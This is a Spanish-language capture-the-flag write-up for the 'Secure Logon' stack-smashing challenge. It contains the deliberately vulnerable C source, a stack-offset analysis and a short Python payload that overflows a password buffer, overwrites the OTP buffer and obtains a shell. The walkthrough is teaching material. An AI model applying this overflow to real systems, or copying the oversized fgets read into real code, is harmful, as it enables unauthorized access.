Secure Logon - Memory corruption challenge no 1

Introducción

El challenge “Secure Logon” del nivel 1 en wargames.ret2.systems consiste en bypassar un mecanismo de autenticación basado en una contraseña de un solo uso (OTP). El programa genera una OTP aleatoria y compara la entrada del usuario con esta OTP. Si coinciden, se autentica al usuario y se ejecuta una shell (/bin/sh). Aunque parece seguro, una vulnerabilidad en el manejo de la entrada permite sobrescribir la OTP, logrando la autenticación sin conocerla.

En este documento, analizaremos el código, identificaremos la vulnerabilidad, explicaremos cómo calcular el offset para el desbordamiento, detallaremos la estrategia de explotación y desglosaremos el exploit en Python.

Análisis del Código Fuente

El código fuente en C es el siguiente:

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include "wargames.h"

void generate_otp(char * buffer, int len) 
{
    FILE *fp = fopen("/dev/urandom", "r");
    int bytes_read = fread(buffer, 1, len, fp);
    fclose(fp);
    if (bytes_read != len)
        exit(1);
    for (int i = 0; i < len; i++)
        buffer[i] = 0x41 + ((unsigned char)buffer[i] % 26);
    buffer[len-1] = 0;
}

void main()
{
    init_wargame();
    printf("------------------------------------------------------------\n");
    printf("--[ Stack Smashing Level #1 - Secure Logon                  \n");
    printf("------------------------------------------------------------\n");
    
    char user_password[32] = {};
    char otp_password[32] = {};
    generate_otp(otp_password, sizeof(otp_password));
    printf("Enter password: ");
    fgets(user_password, 0x32, stdin);
    user_password[strcspn(user_password, "\n")] = 0;
    if (strlen(user_password) == 0) 
    {
        puts("Invalid input...");
        exit(1);
    }
    if (!strcmp(user_password, otp_password))
    {
        puts("Authenticated!");
        system("/bin/sh");
    }
    else 
    {
        puts("Authentication failed...");
    }
}

Puntos Clave del Código

Función generate_otp:
- Lee 32 bytes aleatorios de /dev/urandom en otp_password.
- Convierte cada byte en una letra mayúscula (A-Z) usando: buffer[i] = 0x41 + ((unsigned char)buffer[i] % 26).
- Coloca un byte nulo (\0) en buffer[31] para terminar la cadena.
Función main:
- Declara dos buffers en la pila: user_password (32 bytes) y otp_password (32 bytes), probablemente contiguos.
- Genera una OTP en otp_password.
- Usa fgets(user_password, 0x32, stdin) para leer hasta 50 bytes.
- Elimina el salto de línea (\n) y verifica que user_password no esté vacío.
- Compara user_password con otp_password con strcmp. Si son iguales, ejecuta /bin/sh.

Identificación de la Vulnerabilidad

La vulnerabilidad está en fgets(user_password, 0x32, stdin):

user_password tiene 32 bytes.
fgets permite leer hasta 50 bytes (0x32 en hexadecimal).
Esto permite un desbordamiento de buffer, ya que se pueden escribir más bytes de los que user_password puede contener, sobrescribiendo otp_password, que probablemente está justo después en la pila.

Cálculo del Offset para el Desbordamiento

Para explotar el desbordamiento, necesitamos determinar cuántos bytes debemos escribir en user_password para empezar a sobrescribir otp_password. Esto se calcula analizando la disposición de la pila:

Disposición de la Pila

En C, las variables locales declaradas en una función se almacenan en la pila. Aunque la pila como estructura de datos crece hacia direcciones de memoria más bajas, la forma en que el compilador organiza las variables dentro del marco de la pila (stack frame) puede variar.

En arquitecturas comunes como x86-64, es frecuente que el compilador coloque las variables en el orden en que se declaran, desde direcciones más bajas hacia más altas.

Con la declaración char user_password[32]; char otp_password[32];, user_password se ubicaría en una dirección base (p. ej., 0x7fffffffed80) y otp_password se colocaría inmediatamente después, en una dirección más alta (0x7fffffffed80 + 32 = 0x7fffffffeda0).

Nota importante: Este comportamiento no está garantizado por el estándar de C y depende del compilador y la arquitectura. Por eso, usar un depurador es el método definitivo para confirmar la disposición.

Tamaño del Buffer

user_password tiene 32 bytes de capacidad.
Para sobrescribir el primer byte de otp_password, debemos escribir exactamente 32 bytes para llenar por completo user_password y luego continuar escribiendo en la memoria adyacente.

Confirmación del Offset

Podemos verificar el offset usando un depurador como gdb. Inspeccionando las direcciones de las variables:

p &user_password
p &otp_password

Si la dirección de otp_password es exactamente 32 bytes mayor que la de user_password, hemos confirmado nuestro offset. También podemos usar un patrón de entrada (como AAA...) y observar en el depurador cómo se sobrescribe otp_password.

Offset Final

Para empezar a escribir sobre otp_password, el offset es de 32 bytes.
Para sobrescribir los primeros N bytes de otp_password, necesitamos escribir un total de 32 + N bytes.
Siendo N el número de bytes que queremos escribir en otp_password, en este caso, 2 bytes para escribir 'A\x00'.

Estrategia de Explotación

El objetivo es hacer que user_password y otp_password contengan la misma cadena ("A") para que strcmp devuelva 0. La estrategia es:

Escribir una cadena corta terminada en nulo (A\x00) en user_password para pasar el chequeo de strlen.
Usar 30 bytes de relleno para llegar al borde de user_password.
Sobrescribir el inicio de otp_password con la misma cadena (A\x00).
Terminar con un salto de línea (\n) para que fgets complete la lectura.

El Exploit en Python

El siguiente script en Python automatiza la explotación:

import interact
import struct

def p64(n):
    return struct.pack('Q', n)

def u64(s):
    return struct.unpack('Q', s)[0]

p = interact.Process()
p.readuntil('Enter password: ')

payload = b'A\x00' + b'A'*30 + b'A\x00' + b'\n'
p.sendline(payload)
p.interactive()

Explicación del Payload

El payload b'A\x00' + b'A'*30 + b'A\x00' + b'\n' (34 bytes) manipula la memoria:

b'A\x00' (Bytes 0-1):
- Escribe 'A' (0x41) y un byte nulo (\0) en el inicio de user_password.
- El byte nulo termina la cadena, haciendo que user_password sea "A".
- strlen(user_password) devuelve 1, pasando el chequeo.
b'A'*30 (Bytes 2-31):
- Relleno de 30 bytes con 'A' para llenar user_password (32 bytes en total).
- Esto posiciona el siguiente dato en el inicio de otp_password.
b'A\x00' (Bytes 32-33):
- Sobrescribe el inicio de otp_password con 'A' y un byte nulo.
- Hace que otp_password sea "A".
b'\n' (Byte 34):
- Un salto de línea asegura que fgets termine de leer.

Total: 34 bytes, dentro del límite de 50 bytes de fgets.

Desglose del Payload en Memoria

Índice (Byte #)	Búfer	Valor (Byte)	Valor (Hex)	Propósito / Interpretación
0	`user_password`	`'A'`	`0x41`	Inicio de `user_password`.
1	`user_password`	`'\x00'`	`0x00`	Termina `user_password` como `"A"`.
2 a 31	`user_password`	`'A'` (x30)	`0x41`	Relleno para llegar a `otp_password`.
32	`otp_password`	`'A'`	`0x41`	Inicio de `otp_password`.
33	`otp_password`	`'\x00'`	`0x00`	Termina `otp_password` como `"A"`.
34	`otp_password`	`'\n'`	`0x0A`	Fin de entrada para `fgets`.

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Resultado en Memoria

user_password: "A" (terminado por \0 en el byte 1).
otp_password: "A" (sobrescrito por A\x00 en los bytes 32-33).
strcmp(user_password, otp_password) compara "A" con "A", autentica y ejecuta /bin/sh.

Depuración con GDB

Para verificar el offset y la disposición de la pila:

Ejecuta:
```
wargames-gdb -q 03_level_1
```

Coloca un breakpoint después de fgets:

break *main+<offset_donde_fgets_termina>

Ejecuta con un patrón de entrada (por ejemplo, AAA...A de 50 bytes).
Inspecciona los buffers:
```
x/64bx &user_password
```
- Confirma que otp_password comienza justo después de user_password[31].
Verifica que el payload sobrescribe otp_password correctamente.

Completando el Challenge

En la shell resultante, ejecuta:

cat flag

Esto mostrará la bandera, como flag{0nly_n00bs_n33d_th3_real_p4ssw0rd_anyw4y}.

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